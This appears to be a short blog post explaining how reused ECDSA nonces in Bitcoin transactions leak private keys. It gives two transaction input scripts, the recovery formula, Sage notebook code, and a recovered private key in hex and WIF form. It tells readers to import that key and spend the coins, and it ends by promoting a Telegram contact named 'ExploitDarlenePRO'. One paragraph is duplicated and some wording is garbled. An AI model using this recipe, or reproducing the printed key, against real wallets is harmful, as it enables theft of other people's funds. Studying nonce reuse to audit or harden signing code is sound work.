Description of the Random Recovery Vulnerability Principle

09.02.2024
Description of the Random Recovery Vulnerability Principle

On December 25, 2012, Nils Schneider first discovered a potential weakness in some Bitcoin implementations. If you look closely at the two input scripts, you’ll notice that there are quite a few equal bytes at the beginning and end. Those bytes at the end are the hex encrypted public key of the address where the coins are being spent, so there’s nothing wrong with that. This is a huge problem. We can recover the private key to this public key: private key = (z1*s2 – z2*s1)/(r*(s1-s2)) We just need to find z1 and z2! These are the output hashes that need to be signed. Let’s get the output transitions and calculate them (calculated by OP_CHECKSIG):

transaction: 9ec4bc49e828d924af1d1029cacf709431abbde46d59554b62bc270e3b29c4b1
input script 1:
30440220d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1022044e
1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e0104dbd0c61532279cf
72981c3584fc32216e0127699635c2789f549e0730c059b81ae133016a69c21e23f1859a95f06d52b
7bf149a8f2fe4e8535c8a829b449c5ff

input script 2:
30440220d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad10
2209a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab0104dbd
0c61532279cf72981c3584fc32216e0127699635c2789f549e0730c059b81ae133016a69c21
e23f1859a95f06d52b7bf149a8f2fe4e8535c8a829b449c5ff

z1: c0e2d0a89a348de88fda08211c70d1d7e52ccef2eb9459911bf977d587784c6e
z2: 17b0f41c8c337ac1e18c98759e83a8cccbc368dd9d89e5f03cb633c265fd0ddc
That’s all. Let’s set up our sage notebook like this:

p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
r = 0xd47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1
s1 = 0x44e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e
s2 = 0x9a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab
z1 = 0xc0e2d0a89a348de88fda08211c70d1d7e52ccef2eb9459911bf977d587784c6e
z2 = 0x17b0f41c8c337ac1e18c98759e83a8cccbc368dd9d89e5f03cb633c265fd0ddc

p is simply the order of G, the parameter of the secp256k1 curve used by Bitcoin. Let’s create a field for our calculations:

K = GF(p)
And calculate the private key in this field:

K((z1*s2 – z2*s1)/(r*(s1-s2)))

p is simply the order of G, the parameter of the secp256k1 curve used by Bitcoin. Let’s create a field for our calculations:

K = GF(p)
And calculate the private key in this field:

K((z1*s2 – z2*s1)/(r*(s1-s2)))
88865298299719117682218467295833367085649033095698151055007620974294
165995414 Convert it to a more suitable format:

hex: c477f9f65c22cce20657faa5b2d1d8122336f851a508a1ed04e479c34985bf96
WIF: 5KJp7KEffR7HHFWSFYjiCUAntRSTY69LAQEX1AUzaSBHHFdKEpQ
And import it into your favorite Bitcoin wallet. It will calculate the correct Bitcoin address and you can spend the coins sent to that address.

Why did it work? ECDSA requires a random number for each signature. If this random number is ever used twice with the same private key, it can be recovered.


Useful information for enthusiasts:

Contact me via Telegram: @ExploitDarlenePRO




via the link:
https://t.me/ExploitDarlenePRO